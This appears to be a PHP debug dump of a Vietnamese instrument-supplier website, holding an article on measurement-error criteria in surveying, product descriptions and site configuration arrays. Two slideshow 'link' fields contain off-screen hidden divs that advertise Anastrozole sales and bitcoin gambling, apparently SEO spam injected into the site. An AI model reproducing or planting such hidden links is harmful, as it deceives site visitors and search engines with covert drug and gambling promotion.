<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div>
<p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</p>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div>
<p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</p>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div>
<div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div>
<div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div>
',
'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-04-25',
'modified' => '2025-08-18',
'status' => '1',
'view' => '83021',
'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '937',
'rght' => '938',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
)
)
$duandatrienkhai = array(
(int) 0 => array(
'Advertisement' => array(
'id' => '49',
'name' => null,
'link' => '',
'images' => null,
'display' => '3',
'created' => '2022-04-13',
'modified' => '2022-04-26',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '11',
'rght' => '12'
)
),
(int) 1 => array(
'Advertisement' => array(
'id' => '48',
'name' => null,
'link' => '',
'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png',
'display' => '3',
'created' => '2019-07-11',
'modified' => '2019-07-11',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '9',
'rght' => '10'
)
),
(int) 2 => array(
'Advertisement' => array(
'id' => '47',
'name' => null,
'link' => '',
'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png',
'display' => '3',
'created' => '2019-06-18',
'modified' => '2019-07-11',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '7',
'rght' => '8'
)
)
)
$slideshow = array(
(int) 0 => array(
'Slideshow' => array(
'id' => '69',
'name' => '',
'images' => null,
'created' => '2019-07-11 10:23:46',
'modified' => '2022-04-16 00:00:00',
'status' => '1',
'pos' => '0',
'type' => 'intro',
'link' => '',
'content' => '',
'shortdes' => '',
'content_eng' => '',
'shortdes_eng' => '',
'name_eng' => '',
'name_tq' => '',
'shortdes_tq' => '',
'content_tq' => ''
)
),
(int) 1 => array(
'Slideshow' => array(
'id' => '68',
'name' => '',
'images' => '201907111208539ebd41e6cbc1e14780805f6fc0d65867.gif',
'created' => '2019-07-11 10:22:33',
'modified' => '2021-05-13 00:00:00',
'status' => '1',
'pos' => '0',
'type' => 'intro',
'link' => '<div style="position:absolute;top: -1286px;">Buy <a href="http://contest-sport.com/sport-products/anastrazolos-1/"> Anastrozole directly from the manufacturer in USA </a> and without intermediaries.</div>',
'content' => '',
'shortdes' => '',
'content_eng' => '',
'shortdes_eng' => '',
'name_eng' => '',
'name_tq' => '',
'shortdes_tq' => '',
'content_tq' => ''
)
),
(int) 2 => array(
'Slideshow' => array(
'id' => '66',
'name' => '',
'images' => '2019071110173758daf01bf616370befe2ad36e8391dfa.png',
'created' => '2019-07-11 10:09:25',
'modified' => '2022-04-15 00:00:00',
'status' => '1',
'pos' => '0',
'type' => 'intro',
'link' => '<div style="position:absolute;top: -1286px;">Play <a href="https://windice.io/plinko">bitcoin plinko</a> to hit the jackpot today!</div>',
'content' => '',
'shortdes' => '',
'content_eng' => '',
'shortdes_eng' => '',
'name_eng' => '',
'name_tq' => '',
'shortdes_tq' => '',
'content_tq' => ''
)
)
)
$adv_khuyenmai = array(
'Advertisement' => array(
'id' => '1',
'name' => null,
'link' => '',
'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png',
'display' => '5',
'created' => '2015-11-12',
'modified' => '2019-06-18',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '1',
'rght' => '2'
)
)
$doitac = array(
(int) 0 => array(
'Advertisement' => array(
'id' => '47',
'name' => null,
'link' => '',
'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png',
'display' => '3',
'created' => '2019-06-18',
'modified' => '2019-07-11',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '7',
'rght' => '8'
)
),
(int) 1 => array(
'Advertisement' => array(
'id' => '48',
'name' => null,
'link' => '',
'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png',
'display' => '3',
'created' => '2019-07-11',
'modified' => '2019-07-11',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '9',
'rght' => '10'
)
),
(int) 2 => array(
'Advertisement' => array(
'id' => '49',
'name' => null,
'link' => '',
'images' => null,
'display' => '3',
'created' => '2022-04-13',
'modified' => '2022-04-26',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '11',
'rght' => '12'
)
)
)
$chayphai = array(
'Advertisement' => array(
'id' => '3',
'name' => null,
'link' => '',
'images' => '20160216064647eda555165b5c7208330a328fac635686.png',
'display' => '2',
'created' => '2015-11-13',
'modified' => '2017-02-07',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '5',
'rght' => '6'
)
)
$chaytrai = array(
'Advertisement' => array(
'id' => '2',
'name' => null,
'link' => '',
'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg',
'display' => '1',
'created' => '2015-11-13',
'modified' => '2017-02-07',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '3',
'rght' => '4'
)
)
$chiasekinhnghiem = array()
$list_menu_footer = array()
$danhmuc_left_parent = array(
(int) 0 => array(
'Catproduct' => array(
'id' => '2',
'name' => 'Sản phẩm',
'slug' => 'san-pham'
)
)
)
$danhmuc = array(
(int) 0 => array(
'Catproduct' => array(
'id' => '1',
'name' => 'Trang chủ',
'slug' => 'trang-chu'
)
),
(int) 1 => array(
'Catproduct' => array(
'id' => '2',
'name' => 'Sản phẩm',
'slug' => 'san-pham'
)
),
(int) 2 => array(
'Catproduct' => array(
'id' => '3',
'name' => 'Giới thiệu',
'slug' => 'gioi-thieu'
)
),
(int) 3 => array(
'Catproduct' => array(
'id' => '5',
'name' => 'Download',
'slug' => 'download'
)
),
(int) 4 => array(
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'slug' => 'tin-tuc'
)
),
(int) 5 => array(
'Catproduct' => array(
'id' => '6',
'name' => 'Liên hệ',
'slug' => 'lien-he'
)
)
)
$support = array(
(int) 0 => array(
'Support' => array(
'id' => '13',
'name' => 'Co so Ha noi',
'phone' => '098 987 678',
'yahoo' => 'duycuong7640',
'skype' => 'duycuong7640',
'pos' => '0',
'created' => '2013-09-13',
'modified' => '2015-05-05',
'status' => '1',
'yahoo1' => 'duycuong7640',
'skype1' => '',
'hotline' => '0987 654 999',
'email' => '',
'name1' => ''
)
),
(int) 1 => array(
'Support' => array(
'id' => '16',
'name' => 'Co so TP.HCM',
'phone' => '3252 436 432',
'yahoo' => 'duycuong7640',
'skype' => 'tuvantubep',
'pos' => '0',
'created' => '2014-01-15',
'modified' => '2015-05-05',
'status' => '1',
'yahoo1' => 'duycuong7640',
'skype1' => '',
'hotline' => '0987 654 999',
'email' => '',
'name1' => ''
)
)
)
$content_for_layout = '<div class="bg-cat-danhmuc">
<div class="cat-title-danhmuc">
<a href="" title="">
<h1></h1>
</a>
</div>
</div>
<div class="box-content-detail">
<div class="clear-content"></div><div class="clear-content"></div>
<div class="col-product">
<div class="box-new-content">
<div class="box-new-detail">
<div class="time-date">
12:00:00
<span>21/06/2016</span>
</div><!--end time-date--><div class="clear-content"></div>
<div class="box-like-share">
<div class="like1">
<div class="fb-like" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div>
</div>
</div><!--end box-like-share--><div class="clear-content"></div>
<div class="ct-tt">
<div class="clear-main"></div>
</div><!--end ct-tt-->
<!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>-->
<div class="clear-content"></div><div class="clear-content"></div>
</div><!--end box-new-detail-->
<div class="bar-new-detail">
<label>Private same category</label>
<div class="clear-main"></div>
<ul>
<li>
<a href="http://www.quangtayqht.vn/vn-tung-co-dong-dat-den-8-do-richter.htm" title="">
<h3> <span>(21-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban-1.htm" title="">
<h3> <span>(20-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/dong-dat-va-song-than-nguon-nang-luong-huy-diet.htm" title="">
<h3> <span>(20-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/topo-cua-vu-tru.htm" title="">
<h3> <span>(16-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban.htm" title="">
<h3> <span>(16-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/ap-luc-tu-hop-tac-quoc-te.htm" title="">
<h3> <span>(16-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" title="">
<h3> <span>(16-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/gan-lam-giac-mo-thien-van-viet-nam.htm" title="">
<h3> <span>(15-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh.htm" title="">
<h3> <span>(15-06-2016)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000.htm" title="">
<h3> <span>(15-06-2016)</span></h3>
</a>
</li>
</ul>
<div class="clear-main"></div>
</div><!--end bar-new-detail-->
<div class="clear-main"></div>
<div class="pagination">
<span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1">1</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:2">2</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:9">9</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:10">10</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11">11</a></span><span class="current number">12</span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13">13</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:14">14</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:15">15</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:46">46</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47">47</a></span><span class="next"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13" rel="next">Next »</a></span><span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47" rel="last">End »</a></span>Page 12/47. View 10/461. </div>
<div class="clear-main"></div>
</div><!--end box-ctbar-->
</div>
</div>'
$scripts_for_layout = ''
$cap1 = array(
'Catproduct' => array(
'id' => '2',
'name' => 'Sản phẩm',
'slug' => 'san-pham'
)
)
$dm_c2 = array(
(int) 0 => array(
'Catproduct' => array(
'id' => '50',
'name' => 'Ẩm ký tự ghi Fischer 325',
'parent_id' => '2',
'alias' => 'ảm-ký-tụ-ghi-fischer-325',
'images' => '20190702110514f5998f417e460b6a7ce6824a1984d84d.png',
'lft' => '28',
'rght' => '29',
'pos' => '1',
'status' => '1',
'title_seo' => 'Ẩm ký tự ghi Fischer 325',
'meta_key' => '',
'meta_des' => 'Model 325
Ẩm ký Fischer, model 325 do hãng Fischer (Germany) sản xuất, là loại máy tự ghi cơ học, được dùng để ghi liên tục giá trị độ ẩm không khí với độ chính xác cao. Máy được sản xuất từ các vật liệu chống lại sự ăn mòn của môi trường nên nó có thời gian làm việc rất lâu.
Máy ẩm ký 325 được trang bị một đồng hồ cơ có thể thay đổi tốc độ quay theo Ngày, Tuần hoặc Tháng.
Đặc tính kỹ thuật
- Kiểu bộ cảm ứng: Chùm tóc
- Giải đo: Từ 0 đến 100%
- Độ chính xác: ±3%
- Độ phân giải: 5%
- Kích thước: 290(R) x 145(S) x 190(C) mm
',
'created' => '2019-07-02',
'modified' => '2019-07-02',
'slug' => 'a-m-ky-tu-ghi-fischer-325',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 1 => array(
'Catproduct' => array(
'id' => '51',
'name' => 'Nhiệt ký tự ghi 525S',
'parent_id' => '2',
'alias' => 'nhiẹt-ký-tụ-ghi-525s',
'images' => '2019070211085423ef43a8ba7034f8b17f26f28a9a3792.png',
'lft' => '30',
'rght' => '31',
'pos' => '2',
'status' => '1',
'title_seo' => 'Nhiệt ký tự ghi 525S',
'meta_key' => '',
'meta_des' => 'Model 525S
Nhiệt ký Fischer, model 525S do hãng Fischer (Germany) sản xuất, là loại máy tự ghi cơ học, được dùng để ghi liên tục giá trị nhiệt độ không khí với độ chính xác cao. Máy được sản xuất từ các vật liệu chống lại sự ăn mòn của môi trường nên nó có thời gian làm việc rất lâu.
Máy nhiệt ký 525S được trang bị một đồng hồ cơ có thể thay đổi tốc độ quay theo Ngày, Tuần hoặc Tháng.
Đặc tính kỹ thuật
- Kiểu bộ cảm ứng: Lưỡng kim
- Giải đo: Từ -15oC đến +65oC
- Độ chính xác: ±0.5oC
- Độ phân giải: 1oC
- Kích thước: 290(R) x 145(S) x 190(C) mm
',
'created' => '2019-07-02',
'modified' => '2019-07-02',
'slug' => 'nhie-t-ky-tu-ghi-525s',
